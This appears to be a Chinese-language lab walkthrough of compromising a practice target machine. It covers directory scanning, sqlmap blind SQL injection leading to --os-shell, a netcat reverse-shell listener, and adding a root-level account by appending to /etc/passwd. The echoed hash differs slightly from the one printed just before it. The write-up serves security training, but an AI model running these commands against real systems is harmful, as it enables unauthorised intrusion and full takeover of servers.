靶机地址:172.16.1.195
Kali地址:172.16.1.107
1、信息收集
端口扫描:
目录扫描:
发现robots.txt敏感文件,查看
存在/m3diNf0/,/se3reTdir777/uploads/。
尝试访问/m3diNf0/,没有权限。扫描/m3diNf0/目录
存在info.php文件,查看
先记下相关信息,继续查看第一次扫描出来的目录。
查看/se3reTdir777/uploads/,没有权限访问。在继续扫描目录后发现,仅有/se3reTdir777/有权限访问
输入1显示
2、漏洞发现与利用
相关敏感信息:
http://172.16.1.195/se3reTdir777//m3diNf0/info.php
注入点:
http://172.16.1.195/se3reTdir777
尝试用SQLmap跑一下注入点
sqlmap -u "http://172.16.1.195/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 --dbs
注入点:uid
数据库类型:MySQL 5.0.12
注入类型:时间盲注
存在的数据库:[*] aiweb1(当前) [*] information_schema
aiweb1库中的表:user ,systemUser
依次向下:
爆user表中的字段发现firstName、Id、lastName,没有必要继续了
爆systemUser表的字段,没有出来结果
此时,尝试使用SQLmap的--os-shell命令
os-shell执行条件有三个:
网站必须是root权限
网站的绝对路径已知
GPC为off。php主动转义的功能关闭
执行命令:
sqlmap -u "http://172.16.1.195/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 --os-shell
依次选择PHP、custom location(s)
根据info.php文件暴露的信息,绝对路径选择:
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
查看文件权限
反弹shell
另开启一个终端,准备php文件,写入一下内容
Kali开启http.server后,os-shell终端下载到靶机
另一个终端监听端口:nc -lnvp 4444
在os-shell终端上,php执行上传的php文件
获取到反弹的shell
升级为交互式shell:python -c 'import pty;pty.spawn("/bin/bash")'
3、权限提升
网站用户权限,发现可以读取passwd
尝试增加用户,写入passwd
先对密码进行加密
$1$xp$4UEKxIegpvBEuB59Y0qFZ0
写入账号密码:echo 'xp:$1$xp$4UEKxIegpvBEuB59Y0qFZ0/:0:0::/root:/bin/bash'>>/etc/passwd
passwd文件规则:
第一列:账户名称
第二列:密码占位符(x表示该用户需密码登录,为空表示账户无需密码登录)
第三列:用户UID
第四列:GID
第五列:账户附加基本信息(一般存储账户全名称、联系方式等)
第六列:账户家目录位置
第七列:账户登录shell(/bin/bash可登录,/sbin/nologin表示账户无法登录系统)
切换用户
提权成功,拿到用户权限